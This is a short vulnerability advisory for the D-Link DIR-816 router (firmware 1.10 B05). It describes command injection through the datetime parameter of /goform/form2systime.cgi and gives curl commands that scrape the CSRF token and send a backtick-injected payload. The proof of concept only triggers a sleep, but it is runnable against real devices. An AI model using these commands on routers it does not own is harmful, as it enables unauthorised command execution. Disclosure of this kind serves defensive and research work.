Vender ：D-Link
Firmware version:1.10 B05
Exploit Author: nabla@galaxylab.org
Vendor Homepage: http://www.dlink.com.cn/
Hardware Link:http://support.dlink.com.cn/ProductInfo.aspx?m=DIR-816
In the handler of route /goform/form2systime.cgi, the value of parameter datetime is used in the construction of command date -s "%s", which is later fed to system:
So it could lead to command injection with crafted request.
There's a random token required by the route, which is used as a mitigation against CSRF. So first we need to get its value:
TOKENID=`curl -s http://192.168.0.1/dir_login.asp | grep tokenid | head -1 | grep -o 'value="[0-9]*"' | cut -f 2 -d = | tr -d '"'`Then we could send the crafted parameter along with the token to the route:
curl -i -X POST http://192.168.0.1/goform/form2systime.cgi -d tokenid=$TOKENID -d 'datetime=`sleep 5`-:'